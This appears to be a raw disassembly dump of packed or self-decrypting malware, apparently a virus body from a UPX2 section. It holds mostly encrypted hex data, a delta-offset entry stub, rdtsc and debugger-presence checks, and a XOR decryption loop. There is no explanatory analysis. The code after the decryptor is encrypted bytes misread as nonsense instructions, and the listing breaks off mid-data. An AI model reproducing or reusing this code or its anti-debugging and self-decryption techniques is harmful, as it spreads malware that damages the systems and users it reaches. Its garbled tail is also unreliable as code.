43EC71DFh, 27D659C0h, 0CB431E8h, 0F99914C8h, 0C476F128h dd 0A751DE08h, 0C074A420h, 200A9F0Eh, 45F162EEh, 60CB54C6h dd 1AF7081h, 8DC20481h, 0C570C702h, 0A118D55Ah, 9978B53Ah dd 20548507h, 45F162EEh, 7FCB54C6h, 0DB713E8h, 0C9D8518Dh dd 0D371B07Ch, 0AD51C408h, 0A978F12Dh, 200BD71Ch, 45EC71E4h dd 873C3489h, 6BA2E4F8h, 26EC59EDh, 11E27518h, 0F76AF80Fh dd 79F59708h, 19B1290Ah, 6F7F836Fh, 0B08A2C40h, 20D8AEE0h dd 36F9E255h, 18ABC242h, 0D98833F0h, 0E058D0E2h, 78F068h dd 20981088h, 40B830A8h, 60D850C8h, 80F870E8h, 0A0189008h dd 0C038B028h, 0E058D048h, 78F068h, 20981088h, 40B830A8h dd 60D850C8h, 80F870E8h, 0A0189008h, 0C038B028h, 0E058D048h dd 78F068h, 20981088h, 0E53B50A8h, 60EE6F74h, 405DF3E8h dd 0A018A637h, 0D47B0727h, 0EF4083C5h, 37EBBDFh, 4DC9B58h dd 4CFA1B8Ch, 22E349BAh, 0BEC03E0h, 0E233844Ah, 7CAD3924h dd 6958E677h, 364730EDh, 0A39DFB88h, 995A186Ah, 60DC92A9h dd 0A4B4F560h, 0C4F0903Eh, 0A838B028h, 0E058D057h, 230175E5h dd 19C110BEh, 0C3B444B0h, 973A5408h, 0BF64F517h, 57DB903Eh dd 8CB5B3F1h, 358E66Ch, 0FC080F78h, 0C81B1007h, 0C94ED2ACh dd 56FB2955h, 80C2F3E8h, 9233957Ch, 4D28C22Bh, 0BB002C06h dd 427336h, 126714FCh, 32473343h, 9F8FB8D8h, 4ED38F17h dd 9FD81D23h, 0C360B01Eh, 6F9BE403h, 364750EDh, 0BC1DD788h dd 40B80697h, 88D850C8h, 80F870D4h, 9F841583h, 70D0B01Eh dd 8A72FBEh, 78F070h, 1F04AD0Bh, 35B8309Eh, 9545D9C0h dd 6BF846CBh, 3C956F94h, 3388617h, 0DFF855C7h, 95F1F05Eh dd 20AE2F14h, 40B83340h, 0A31163C8h, 8078E363h, 484A9008h dd 3FC74EC5h, 0DF98454Bh, 0D67BF05Eh, 20946A0Bh, 41BFB4A7h dd 1A5B50C8h, 4F770F8h, 0A01890F5h, 9034F2A3h, 1FA618A0h dd 0C0FDF397h, 239826B7h, 4832606Eh, 14D8A948h, 0AE01F0F1h dd 4B58937Ch, 0C1703BD9h, 3F8731C9h, 0F9F92FB7h, 20D45CCCh dd 6BE1DCDDh, 9A21D300h, 804FFFE7h, 217E9008h, 0F20B4E50h dd 0E0F35547h, 832EF068h, 25ED10B2h, 0ABA87A23h, 63D2DBCAh dd 0F2102119h, 0A3E76FF6h, 0F607709Dh, 20DD7D48h, 84770B10h dd 2098100Ch, 7F788557h, 888850FEh, 7F078EBDh, 9FD8150Bh dd 45B7B01Eh, 0E06EEF88h, 535CF46Bh, 139AD00Bh, 480E3F73h dd 0A958422Bh, 0A43923C8h, 0BC31942Ch, 0E434990Ch, 9B39013h dd 0D7770BE9h, 1EECCD33h, 510CB29h, 56AC8BA6h, 0BBA18B69h dd 8E6C6FA9h, 0E2EE4BA9h, 0C62C7CFDh, 0E9EB0BE9h, 3EECE3D0h dd 0A9C5CB29h, 76ACA390h, 0BFBE8B69h, 0AE6C712Dh, 0FF084BA9h dd 0E62C316Dh, 3FD86597h, 0C9C310BEh, 0BF47CFD9h, 741AD396h dd 7F069F01h, 0CA1B53F7h, 90D0E82Ch, 68A72FBDh, 365ED6FDh dd 11207688h, 805A32B0h, 82DA532Ch, 8692DB8Eh, 552D7850h dd 2BB4FD7h, 8A895740h, 2890A86Dh, 0A067EF7Dh, 4BCB3352h dd 0E5DA0078h, 80CE56CEh, 0CA3F7BA2h, 4092E840h, 0F82DD3B2h dd 890E1D8h, 9867EF7Dh, 40B830A9h, 6DAC824Ch, 4A069039h dd 0A5F366E3h, 0C038B090h, 5FBA7BC8h, 98ED7DABh, 0B9826B0h dd 8362C77Fh, 5853D53Fh, 80F870DEh, 35179808h, 0CBD871E8h dd 0D8D155BEh, 7579F05Eh, 0A995768Eh, 0B6ABDB8Dh, 56E0D94Dh dd 868D72E8h, 85299D6Eh, 0CD5EB4C3h, 4B3EF549h, 0FF874C80h dd 14DB9B77h, 7F0CA521h, 0A37350FEh, 0B873F51Fh, 0A018903Eh dd 5537B828h, 4AE4D488h, 0FF876C80h, 980D9977h, 0B6B80697h dd 56E0D94Dh, 848D71E8h, 0A2F3A107h, 3937003h, 0D8D355BFh dd 78F05Eh, 7EC1888h, 783DB522h, 801950FEh, 0BF516E3h dd 10B3F64Dh, 45B21AD0h, 0E06EE8CDh, 56310A9h, 261174EFh dd 26780303h, 0D8CABB63h, 80FDFF8Ch, 259D1AA3h, 0C4388610h dd 0F8B81110h, 0FCC833C3h, 98FE3063h, 0EBDE3043h, 64B24923h dd 74E198B0h, 0A4956FF7h, 0C8D871FAh, 20D1D52Eh, 3935B0Eh dd 4A328038h, 405068AAh, 0E427AF3Ch, 0EACA043Ah, 54F0C800h dd 3EC74FDBh, 949BA282h, 74B20EADh, 5452EE41h, 3472CE73h dd 1412AEC4h, 0F4328EE4h, 4BE12004h, 2BC500E5h, 0BAD6081h dd 0EB8040ADh, 9D15D349h, 408E0830h, 5853D53Fh, 80F870DEh dd 0A36C1008h, 3792D098h, 0D6605BCDh, 78F068h, 989F6480h dd 4054BBFDh, 0E52F1F63h, 80CE4863h, 0A118900Bh, 0C0EF3427h dd 8E8D048h, 0BDF15BC2h, 20AE2F2Ch, 0EB12D818h, 5F70ED41h dd 50F70DEh, 0A02EA883h, 0C038B02Bh, 65AFC53Ch, 4EC8E3h dd 21981088h, 815035DCh, 0D027AF36h, 0B53DA01h, 9627348Dh dd 0EBF73B28h, 4CE55980h, 8978C657h, 4720ECC0h, 0EB8ECFCCh dd 0CBBE90FBh, 0B873F51Fh, 0A01B903Eh, 0CE4CB028h, 0D8D155BEh dd 74F8F05Eh, 0DEDAF88Dh, 2700CF57h, 0CBFED9ACh, 2B9EB0DBh dd 989315FFh, 0C03BB01Eh, 0B52CD048h, 38F1759Eh, 551810BEh dd 0BEA6D8ADh, 0C430AF37h, 30078F15h, 5BAE7828h, 0F9DB4FD7h dd 0F5A7682Eh, 0ABE95B0Eh, 18138503h, 924F309Eh, 60DB923Fh dd 948D70E8h, 5FE5EEE0h, 282700D7h, 1FA72BD8h, 1587480Eh dd 8B09BBEEh, 0C533FF23h, 60EE6F64h, 0C871B8C3h, 2B9D67F4h dd 0C3388610h, 9458D048h, 8BFD0746h, 209826B0h, 34BE30A8h dd 0EB5DA7EAh, 80F846D0h, 0D5199008h, 3DCA582Dh, 65AF2FB7h dd 4EC8E3h, 24981088h, 4D5035DCh, 9727AF36h, 0B6C0FB6Dh dd 0A0189408h, 282FC428h, 1FA72E2Fh, 0FEB8D9D0h, 2820BB40h dd 0EBBC4468h, 8B202570h, 50FDB8Fh, 0A02EA883h, 0C038B020h dd 5DD89F3Dh, 4EC8E1h, 0C8DE6488h, 0BF47CE93h, 49C07970h dd 55D7A21h, 6018A630h dd 6532B3CCh, 0E06EE8CDh, 0AAC940C3h, 18119502h, 0F012309Eh dd 0E55D5A88h, 2AF846D0h, 5DFA286Eh, 0F8B335DFh, 0E048D07Eh dd 70CF068h, 46325938h, 26444510h, 0CA30E063h, 953B0DBh dd 962700B5h, 4BBD4728h, 0C058E670h, 7578F068h, 2AC0A081h dd 7680B32Dh, 0D8BEFAC8h, 50FB069h, 0A02EA883h, 0C038B068h dd 24D8D33Ch, 83DDFA40h, 469826B0h, 0D405B903h, 0CBD866F7h dd 0B873F51Fh, 0A018903Eh, 0C94DF028h, 655A80F8h, 4EC8EBh dd 0AB1DE722h, 0C0B80690h, 15D850C8h, 8A40C0E3h, 9620148Dh dd 0FDD31A28h, 0F869682Eh, 38F3759Fh, 219810BEh, 42CC30A8h dd 0C5D27978h, 80CE486Ch, 0AA1B74C8h, 0F600348Dh, 86F3B648h dd 0F78871D0h, 16A09B0Dh, 40BA30A8h, 0D4DA25C8h, 45D7A20h dd 0C618A630h, 70853983h, 5858E677h, 78D8F0h, 0AB1DE723h dd 48B80690h, 14D850C8h, 7DC99899h, 25EF6FF7h, 0C00E88A3h dd 0E058D448h, 0B8C8FB1Dh, 181D9582h, 0AB12309Eh, 0EB5DA785h dd 80F846D0h, 0D5189000h, 4380D639h, 65FDDAA8h, 6678C650h dd 8A582323h, 0F8DE2543h, 0C5D248E1h, 80CE486Dh, 0AA1B74C8h dd 0F600358Dh, 17F3B648h, 36407BEDh, 20881088h, 0C10056A8h dd 0E0DB2408h, 25F2782Ch, 0A02EA88Dh, 76371B4Eh, 0D66059CDh dd 0C0905B68h, 0D767EF74h, 7680BB2Dh, 60D850C8h, 30F104A8h dd 239D9258h, 6A388610h, 0D8D355BFh, 2078F05Eh, 0A6281088h dd 44BC32DDh, 0EA261F45h, 0B6C0F34Dh, 38951908h, 0A6388617h dd 0E5A450E3h, 0C8F71Dh, 60675F08h, 0BCC1D802h, 0E52FAF37h dd 80CE4863h, 0A018D008h, 0F15E084Eh, 0C9ECD23Dh, 18C85B0Eh dd 181D9582h, 0A078309Eh, 3430FACBh, 30078F14h, 2B9D6780h dd 0C0388610h, 9558D0C8h, 8AFE406Ah, 16A0932Dh, 0C01356A8h dd 67AD5534h, 0CF787058h, 48B2D0F7h, 3FC74C03h, 0D8D355BFh dd 78F05Eh, 2BED1089h, 0C5B27018h, 60EE684Bh, 0E6F79B42h dd 0AAD813B0h, 0F600338Dh, 50F3B648h, 858F5A69h, 20AE2803h dd 40BA30A8h, 0E52F7FBDh, 80CE4863h, 0A01C9008h, 88AA5Dh dd 0D8DD5542h, 0A5F2F05Eh, 20AE2802h, 26A8D069h, 0CB593670h dd 88137058h, 2512D0B8h, 0C00E88ADh, 6BDD27E2h, 78C650h dd 55981888h, 0C30056B8h, 0E47D5A20h, 0E6F846D0h, 4B1920A3h dd 0CA700020h, 0D66054CDh, 858F5A68h, 20AE2803h, 40A830A8h dd 45AD2579h, 787BC88Eh, 989C3502h, 6B5EB01Eh, 0C9F2107Bh dd 364768D5h, 0AB1DE788h, 40B80690h, 15D870C8h, 6B8FC1F7h dd 0A9A0F613h, 449DBA30h, 2058E670h, 0A572F38Ch, 20AE280Ch dd 0FD919BCEh, 60EE6F50h, 2572B162h, 0A02EAF90h, 98881B4Eh dd 0D8DB554Ah, 0F7D2F05Eh, 16A09B0Dh, 40B833A8h, 97FA24C9h dd 0B6C0FB6Dh, 0A0189008h, 372EC52Ch, 0D6605BCDh, 78F068h dd 0C89D658Bh, 0BF47CA2Ch, 9F22FB20h, 0B7D8717h, 0A018A630h dd 0B430B028h, 4A91604Bh, 38F3759Fh, 209810BEh, 60CCB0A8h dd 0E5F25778h, 80CE486Bh, 0AD0270C9h, 0C01CB8A1h, 0D8DB754Ah dd 0E4B8F05Eh, 245C908Bh, 0EAD98003h, 8027E8AEh, 0B87BD5E2h dd 0B7E903Eh, 0F8B335DFh, 0E078D07Eh, 530CF068h, 1813957Fh dd 40B8309Eh, 6DAC70C8h, 80FBB71Fh, 0A56C9008h, 2B922098h dd 6B9F5BBBh, 364760E5h, 0A9593B88h, 1808CCE9h, 585BD5C2h dd 775270DEh, 96201B8Dh, 8038B028h, 8654A448h, 0ABBA0D0h dd 16A0930Dh, 26B2DBA8h, 6A38AF70h, 0B6C0F34Dh, 57B3F608h dd 0F6003BADh, 0E058D348h, 0F70B8469h, 16A09B0Dh, 40B830A8h dd 97D524E8h, 80F8732Fh, 101DE408h, 33D31AB8h, 65D31FC3h dd 4ECFC0h, 6811D8A3h, 0B7710354h, 56E0DB4Dh, 0F870E8h dd 2D16E508h, 0F60033ADh, 0A0505A48h, 737B09E8h, 0ED9C9D70h dd 40A814ECh, 0D0D0B009h, 861BDB63h, 6029286Eh, 785E1B4Eh dd 583050C7h, 278F068h, 78337669h, 3571B503h, 516036CEh dd 30531628h, 25953ACBh, 0C00E88B0h, 0D8D355BFh, 78F05Eh dd 26ED0088h, 18401BFFh, 33534923h, 0AB005BC0h, 10951BD8h dd 0C1388617h, 0D66740DDh, 8B41F168h, 0A99C34CCh, 76A85815h dd 0F465DBC8h, 0ABF846D7h, 9627008Dh, 4BBD4728h, 0A058E670h dd 7478F068h, 8B40E78Ah, 16B8346Ah, 0A865D39Fh, 80F846D7h dd 0A1C11407h, 0CDD0B028h, 0AB58D048h, 4536A22Dh, 0EAA23C4h dd 40F47CECh, 5BA2C537h, 57170DEh, 0A02EAFD4h, 0FC603B7Bh dd 93A7084Bh, 343B7B40h, 0DF6DF060h, 0FC2DBB57h, 3BD866F7h dd 9F432EBh, 9627708Dh, 0C87AB328h, 0DFBC55C1h, 73F3F05Eh dd 0A02BEFA0h, 0A8B830A8h, 9F27A571h, 0BF44CD63h, 484E903Eh dd 3FC74585h, 0DFE445C3h, 4AF3F05Eh, 2CD21380h, 0A93BFE83h dd 505FCDh, 8FF870E9h, 0A019CA8Ch, 8DB328h, 0E358E677h dd 364770DDh, 0C8A4BC88h, 401AB5A7h, 265550C8h, 7D5BECh dd 0A318A637h, 0AAD0E02Eh, 63A72FBDh, 36474CD5h, 2BED1088h dd 4FB47793h, 60D94B4Bh, 0B9F49BE8h, 96272C9Dh, 0CDBDBF28h dd 0E358D049h, 364770EDh, 18197688h, 0C5B71557h, 60D85034h dd 0ABFA3063h, 4848A44Bh, 3FC74505h, 0DFE46D71h, 8577F05Eh dd 2098106Ch, 7F78B5ABh, 0E5DB50FEh, 80CE4F68h, 0E7339083h dd 0DBABF24h, 0DB58D048h, 8377F82Fh, 2098104Ch, 43BAF02Bh dd 0E5DB448Fh, 80CE4F68h, 15E7C05Ah, 0C00E8FF4h, 0DB6245B7h dd 8522F05Eh, 971D1F48h, 0A9B830A8h, 60D85054h, 5F78FD4h dd 0A018909Ch, 0CF2D8EA8h, 0E0585BCDh, 13E7B68h, 70AC53A3h dd 0BF4C8C40h, 0DC656937h, 0F5F846D7h, 609D937Fh, 0C3388617h dd 0D66750CDh, 0E8FD7968h, 0AB9826B7h, 0A03D0BA8h, 12D866F7h dd 647D4BE0h, 0D218A637h, 0C0388D41h, 0D72AA048h, 78EF80h dd 0DCD69D88h, 4293F123h, 5BC812CBh, 0B6C7986Dh, 2314E508h dd 0F1C7A0ECh, 0FC7C94C7h, 0C3631B09h, 1F389507h, 0CBD8309Eh dd 56E7D07Dh, 75A298E8h, 9796FF7h, 4038B028h, 0A773DE3Dh dd 3B718264h, 0A29718CFh, 0BF47CF94h, 0D25D5F81h, 0B078F16h dd 799B434h, 0C03898A3h, 9FA72FB7h, 4AF9B283h, 209870ACh dd 808B7E48h, 0E7FC5C43h, 0B6C7B86Dh, 649D1908h, 4D388617h dd 0E0705FF1h, 80FDF368h, 469826B7h, 6BF6950Dh, 749A530Eh dd 46F432C3h, 67F06B4Eh, 0C038E3A9h, 0E058D548h, 0FC3E7968h dd 775B4ED7h, 7B3EA557h, 881950FEh, 9A7D7FF7h, 0F0189009h dd 0AA10DA7Ch, 6CD2FB7h, 8578C653h, 0A8974F48h, 40B831ADh dd 9F3D0A20h, 80E99817h, 0C54B9008h, 0AC51F65Ch, 833D832Dh dd 7411821Dh, 0DF9851F1h, 7687641Dh, 5A4DAFC8h, 9F846D3h dd 9627CC8Dh, 0C0215828h, 850BD048h, 6513913Ch, 45F667C7h dd 29D043DAh, 9AA00B8h, 0E594199Eh, 0F718F56Fh, 3FD19BC0h dd 0E04B38B7h, 652BF068h, 54EB75DAh, 10DD42C7h, 9AE39BAh dd 0E59F1584h, 0ADF0C708h, 28C74FC1h, 0E058D05Ah, 613A953Bh dd 50ED7BEBh, 36D142F8h, 7BD3CA1h, 68AF708Dh, 5FE778F8h dd 0C038A8C0h, 0A33D8348h, 67169100h, 54F75EEDh, 10C156C1h dd 9AE39BAh, 0E59F1584h, 6DF0C708h, 90C74FC0h, 78DD5D1Ch dd 6A78C652h, 21F240ECh, 0B22DCFFFh, 0E9D866F3h, 150754D4h dd 0A02EAB26h, 7DB57002h, 0E06EEE18h, 0FF28A038h, 16A2883Dh dd 40B958A8h, 0A8C50CCh, 150727E9h, 0A02EAF54h, 973CDA7Ch dd 0DF0445B7h, 0C4FBF05Eh, 742DEF9Ch, 0BFB80697h, 56E33A5Dh dd 0D3B2FE8h, 9626C0BDh dd 55C7E628h, 0E06EEB26h, 0F8708EBh, 2098AB0Ch, 203DB9A8h dd 0AD866F7h, 150726E8h, 0A02EABA2h, 443770ADh, 0E058D0ECh dd 50283043h, 4AC813E2h, 40B858A9h, 9F8E90C8h, 0B6C33A7Dh dd 5FE01308h, 0C5D03427h, 65D1D048h, 4ECF0Ch, 1FF09D05h dd 0D535309Eh, 60EE6FB8h, 809222B9h, 0D68D6F58h, 43388613h dd 64572FB0h, 78F5DEh, 956710E2h, 408E0FCCh, 5BAAC537h dd 787B70DEh, 3F9C9FF7h, 4938B02Dh, 0D667A8CDh, 3B1C368h dd 71C8414Bh, 0BFE934C2h, 56E7347Dh, 0CE6D8FE8h, 2518A633h dd 0BBBCBFE8h, 0D358D04Dh, 7CFD79A1h, 719826B7h, 5FD061F9h dd 30D85FC8h, 0BB6EE517h, 609D903Eh, 0C50C3427h, 65D1D048h dd 4ECFE8h, 4F77A84Bh, 0B3330A8h, 0EB5DA7F0h, 80F846D0h dd 0D5089008h, 0A8BDB32Eh, 0D358E658h, 0F7B9F3BAh, 0A979E779h dd 7687BC2Dh, 484FE8C8h, 0CB7370E8h, 0C89D9334h, 0F3388638h dd 1799D39Ah, 89990799h, 16A7940Dh, 0F7B7F3A8h, 83215683h dd 98ABFDDDh, 0B45B2707h, 0AB71602Bh, 305BF889h, 7727CAE9h dd 54617EE1h, 4CC2B3B5h, 0EB3822C9h, 0C2734CA3h, 0B05A931Ch dd 3F70F4A5h, 217B09BFh, 3F007553h, 0AB5B10BEh, 73A814FCh dd 0D85ADF08h, 43F870E8h, 0ABF35F83h, 0FE680DA5h, 6BA4D07Eh dd 0ACB1C3B7h, 26EA71B4h, 42CF4A94h, 5C7270E4h, 0BC1404B4h dd 9CC5E426h, 23D0C528h, 0DD595B81h, 3DA82Dh, 73A51BFCh dd 4FB862EBh, 9F27634Dh, 0BDFBFB17h, 0E356D95Fh, 3F1E3427h dd 0B7652FB7h, 0F36A52Bh, 0DF670B0Ch, 3EF0D57h, 0E4D762FBh dd 7F078FF8h, 0F44BC035h, 0C5BCBF67h, 0D3A72FB7h, 0FE5518B3h dd 30EDEF77h, 0BF44CA40h, 9EF9B837h, 4F78F17h, 5FE76EE4h dd 0D6D0621Bh, 858D048h, 0FF870F0Bh, 20981060h, 0AD396DA8h dd 60EE63F1h, 80FBAB01h, 92E7F408h, 0FFB805A3h, 693CD07Eh dd 3EF9964Ah, 0A5974AC5h, 40B8336Ch, 63E40E43h, 0BB791636h dd 2517D558h, 0C038B39Ch, 0E04E93BFh, 0F78F048h, 209BB70Dh dd 1CFBC6A8h, 0FD5C5FCAh, 0BF870EBh, 25984Bh, 0CF981088h dd 0E05B5FCCh, 2058CD68h, 0A49730A8h, 40B8332Ch, 9F26E920h dd 0F97A7F17h, 2318900Bh, 0F607748Dh, 0A2D3D048h, 10327B60h dd 24EBD1A3h, 4553F09Bh, 2A5198CBh, 87DF9F8h, 0A318A637h dd 0C080BC62h, 0B158D148h, 0FF9F5A80h, 0A90D2077h, 0F1B80690h dd 0EA6D60E8h, 0EAF846D0h, 0F8D16E28h, 50D0A450h, 65A72FAFh dd 0C2ECFFBAh, 0B5A9F25Bh, 408E0823h, 0E52FB523h, 80CE4863h dd 0A1189008h, 45CF925Ch, 0E06EE8C3h, 78F06Bh, 85191CFDh dd 408E0823h, 9B27AF37h, 0D797A03h, 0A02EA883h, 0C838B028h dd 0E058D620h, 610A968h, 78981088h, 0BF5F7240h, 0E35DDA37h dd 6F846D0h, 989BBA8Ch, 45B0B01Eh, 0E06EE8CBh, 858F108Ah dd 20AE2803h, 40B830A0h, 0DD5859BDh, 80CE486Dh, 57DDE409h dd 0F6003BADh, 0E058D048h, 80638460h, 16A09335h, 0F0CC35A8h dd 585CED48h, 0F4FD70DEh, 25A510AFh, 0C5388610h, 65AF4E3Ch dd 4EC8E3h, 0A0981088h, 0FD3839DCh, 60EE684Bh, 37107EAh dd 962758ADh, 0C7D0B028h, 8A72FBBh, 0FF870D09h, 209A6060h dd 0C425BBA8h, 63D866F7h, 0B6C7F875h, 5C617808h, 44374FD7h dd 0E058D218h, 3FF845E3h, 7E1310BEh, 0A8663394h, 9F27ADB2h dd 82C2F2E7h, 0EA999008h, 0C038D00Ch, 0B2A65BA8h, 1402F33Eh dd 0D7886A8Bh, 7680BB2Dh, 60D850C8h, 9EC05F8h, 96275CB5h dd 588D3D28h, 6B58E670h, 366898E5h, 773CE388h, 40B21611h dd 606DDDC8h, 73F846F8h, 431821ADh, 379C432Ah, 0D6605BCDh dd 78F068h, 8E1C1F98h, 0BFB830A8h, 0D63078BBh, 0B078F06h dd 96272C9Dh, 0CFEA3528h, 0E05848CCh, 80CD7B68h, 0AB9826B7h dd 0A3920E2h, 60D830ECh, 88B25B08h, 692B927Bh, 0FB2CC22Bh dd 0D648B8C5h, 68F57B68h, 52982698h, 6484BBFEh, 70B0F54Bh dd 3F870DEh, 0A018F8AFh, 0BAB3B028h, 0E812D140h, 0F7FF076Bh dd 1F0C9503h, 0C54F309Eh, 60EE6843h, 80F870A8h, 0B8EF927Ch dd 0E934C22Bh, 28ED5978h, 8B78C657h, 109938FBh, 7833B55Fh dd 609850FEh, 828C70E8h, 484988FFh, 3FC74C61h, 0E3543B11h dd 7253D81Bh, 0D3CE4184h, 0CDE16F0Ch, 56E0C87Dh, 4C45F9E8h dd 5318A637h, 0CF66EF8Ch, 67D54279h, 78F0BCh, 181185B2h dd 46CD309Eh, 36A082A1h, 0D07062DCh, 7AA378F8h, 4B624FD7h dd 0AA5BDC02h, 8BFD0778h, 209826B0h, 0CDA830A8h, 73AD5589h dd 0BF30FD61h, 251B903Eh, 0C00EA040h, 0E03077CBh, 2B78F068h dd 0A71138CBh, 40B830FBh, 5C90D53Fh, 80F970DEh, 0A76C9008h dd 6030F3EFh, 17F870E8h, 36407BEDh, 20981088h, 12BF4428h dd 9F2F2A20h, 0D732A17h, 0A02EAFC0h, 8BB1B5CBh, 6B553B60h dd 364734E5h, 0CB9AF388h, 68F3BBABh, 5853D53Fh, 80FB70DEh dd 0B46C9008h, 0FFF435A3h, 6D5BD07Eh, 4ECFD0h, 1F2C958Bh dd 48B9309Eh, 0EBC81A43h, 0B6C7F46Dh, 0A852A908h, 8AB1B35Bh dd 0F01AD140h, 2093EBh, 1F149503h, 0D8D0309Eh, 61D850E0h dd 81A178AAh, 3592C04Bh, 0C00E88A1h, 0D8D355BFh, 78F05Eh dd 26EC0088h, 50D0BDABh, 606E50FEh, 0B873F51Fh, 0A018903Eh dd 0D44DB02Ah, 65AF16B6h, 4EC8E3h, 209C1088h, 0F53236DDh dd 60EE6842h, 0B873F51Fh, 0E018903Eh, 0CB4DB028h, 225AD7C2h dd 0E2AEF2C2h, 0AA91FB7Fh, 0EA7A02AFh, 973A86CAh, 0B9CA2DBh dd 0A297F42Ah, 0A4853370h, 0E058E677h, 0FAA67467h, 9567EF77h dd 408E0F28h, 5B62C537h, 350770DEh, 0A02EAF74h, 0FB1625D7h dd 6DD5D07Eh, 4ECF00h, 1FE88505h, 12E9309Eh, 0D52750A2h dd 80CE4F8Ch, 9BB605F7h, 75C7B01Eh, 0E06EEF2Ch, 3B566597h dd 951510BEh, 408E0EF8h, 5FB8E537h, 7FAE70DEh, 96233A9Dh dd 0A49D3328h, 0E058E677h, 7818ABh, 4AC51088h, 0D655B1A9h dd 38D866FFh, 5397F18h, 0A02E857Ch, 43FB70ADh, 0EFA82F80h dd 150C75A9h, 1D5B10BEh, 409230B8h, 0E1BE4CBDh, 0ECF45494h dd 0C00BE579h, 3FC774C0h, 85DA5B7h, 0FF870ABCh, 0DF67C260h dd 0BF965157h, 548E28E5h, 80DDC8FAh, 48789008h, 3FC74F8Dh dd 0A4D3E93Dh, 0B5F5C04Ch, 20AE2ED8h, 26B06023h, 62DE6A49h dd 0E8AE559Bh, 0A0E79008h, 0C05274A3h, 75A7801Ah, 4ECB92h dd 0A190D40Bh, 7F876C96h, 0E3DB2594h, 110742Eh, 48E76FF2h dd 3FC74F57h, 94E01329h, 0EB78F068h, 20B7A839h, 5D5030A8h dd 0A2D850C8h, 0B04070C8h, 48189008h, 0C038B038h, 5858F48Ah dd 78F1EDh, 20981360h, 4094F2A8h, 6CFC0445h, 787B5E25h dd 0C001EC08h, 0C038B0C0h, 0C40C5B48h, 1AF3AD58h, 18F5FD09h dd 9450309Eh, 127AF29h, 81F8742Ah, 0A51E970Bh, 0FF8ED82Ah dd 0FF3B2BFEh, 103815h, 498D01h, 5AE85Bh, 648B0000h, 0EBB80824h dd 0EB000004h, 0A16764FAh, 408B0018h, 40B60F30h, 0F88302h dd 0E83D75h, 93000000h, 2AED815Dh, 8B004023h, 40237285h dd 7A850300h, 8B004023h, 76858BF0h, 3004023h, 40237A85h dd 0FE8B5000h, 32ACC933h, 40238285h, 3B41AA00h, 40237E8Dh dd 0C3EF7C00h, 0FF64C02Bh, 20896430h, 345678B8h, 38712h dd 40000050h, 6Bh, 316000h, 6000001Eh, 11BAh dup(0) ; --------------------------------------------------------------------------- call $+5 mov eax, [esp] cld mov [eax+2FCBh], ebx test dword ptr [eax+2886h], 80000000h mov ebx, [esp+4] jz short loc_3161004C pop ecx mov [eax+2FCFh], esi push edi pop dword ptr [eax+2FD3h] cmp byte ptr [eax+288Ah], 0E8h jnz short loc_31610043 add ebx, [eax+288Bh] mov ebx, [ebx+2] push dword ptr [ebx] jmp short loc_3161004B ; --------------------------------------------------------------------------- loc_31610043: ; CODE XREF: UPX2:31610034j mov ebx, [eax+288Ch] push dword ptr [ebx] loc_3161004B: ; CODE XREF: UPX2:31610041j pop ebx loc_3161004C: ; CODE XREF: UPX2:3161001Dj push ebp mov ebp, eax sub dword ptr [esp+4], 8E05h sub ebp, 361005h mov edi, [esp+4] lea esi, [ebp+363898h] mov ecx, 0CDh ; CODE XREF: UPX2:316100DBj rep movsb call sub_316100C1 mov ecx, eax call sub_316100C1 sub eax, ecx jz short loc_31610095 cmp eax, 100h ja short loc_31610095 lea eax, [ebp+3610D4h] mov dl, [eax-10h] call sub_316100C5 jmp short loc_316100D4 ; --------------------------------------------------------------------------- loc_31610095: ; CODE XREF: UPX2:3161007Cj ; UPX2:31610083j ... test dword ptr [ebp+36388Bh], 80000000h jz short loc_316100BF lea esi, [ebp+36388Fh] mov edi, [esp+4] movsb movsd mov esi, [ebp+363FD4h] mov edi, [ebp+363FD8h] mov ebx, [ebp+363FD0h] loc_316100BF: ; CODE XREF: UPX2:3161009Fj pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_316100C1 proc near ; CODE XREF: UPX2:3161006Ep ; UPX2:31610075p rdtsc retn sub_316100C1 endp ; --------------------------------------------------------------------------- db 0C0h ; =============== S U B R O U T I N E ======================================= sub_316100C5 proc near ; CODE XREF: UPX2:3161008Ep mov dh, dl mov ecx, 27B7h loc_316100CC: ; CODE XREF: sub_316100C5+Cj xor [eax], dl inc eax add dl, dh loop loc_316100CC retn sub_316100C5 endp ; --------------------------------------------------------------------------- loc_316100D4: ; CODE XREF: UPX2:31610093j inc ecx arpl [eax-10h], ax aas jg short near ptr loc_31610095+7 jnp short near ptr loc_31610067+4 aam 28h imul esi, [ebx+2B8148F4h], 0C0004180h cmc scasd mov eax, [ebx] add dword ptr [ebx], 3Ch cmpsb add [eax+50h], edi test esi, ebp lodsb mov edx, [eax+4BD343F8h] repne pusha mov ecx, [edx-6E0CBC68h] sub eax, 1A6C343h cmp [edx], al mov ah, 0D0h xor eax, 45F84109h outsd mov ds:0C57424C1h, eax bound ebp, [edx+69439D59h] or al, 0E4h or esi, [edx] and al, 99h xor dword ptr [ebx+0E84770Fh], 0FFFFFF8Bh mov edx, 4BFB439Ch mov ah, 0C7h add esi, [ebx] push 80C0004Ch add ebp, [edi+ebp*4-0Dh] and eax, 24EEA148h insb movsd adc byte ptr [ebx], 0FFh push ss or ebp, eax db 2Eh sti mov dh, 40h call near ptr 31A18221h xor edx, 25h popa mov ah, 0E5h add eax, 34EEA576h inc ecx rcl bl, 0BFh setalc dec ecx add eax, 80F63B72h test al, 0Dh rol byte ptr [eax-0B5AB8C0h], 0Ch popa mov bl, 0F4h add eax, 32EFB272h add [ebx+4589967Fh], dl mov dh, 7Bh shr byte ptr ss:[eax-7Dh], 3 rol byte ptr [eax+4CFC0C5h], 43h ; --------------------------------------------------------------------------- db 0FFh dd 0FF107F3Fh, 367BB655h, 0F8005C0h, 430145h, 2DFD00C0h dd 140B6D5h, 0B5BF94B5h, 76BF10h, 156D0D3Eh, 85CF80F6h dd 769544h, 0A5C3872Bh, 769544h, 74E503C0h, 40B6D5h, 15382543h dd 834080F6h, 3655FC65h, 0C61780C0h, 36525245h, 0B5C981C0h dd 76BBFAh, 15B0354Dh, 0C97380F6h, 3B063D4Dh, 20F180F6h dd 430B28h, 95BFDFC0h, 76BB46h, 0F5F6801h, 405444h, 14070BC0h dd 0C343C0AAh, 5080A8h, 3EC509C8h, 6840B6FBh, 40EF30h dd 95BF80AAh, 76BB7Eh, 844F4045h, 40822Eh, 0F50D57h, 8B40B6D0h dd 0BBC392Fh, 0EDC180C0h, 7690C0h, 1212154Dh, 0A5B380F6h dd 0ECC3623Fh, 6ABC0BE0h, 5980B3C8h, 1B79154Dh, 0ABB380F6h dd 57C97C4Bh, 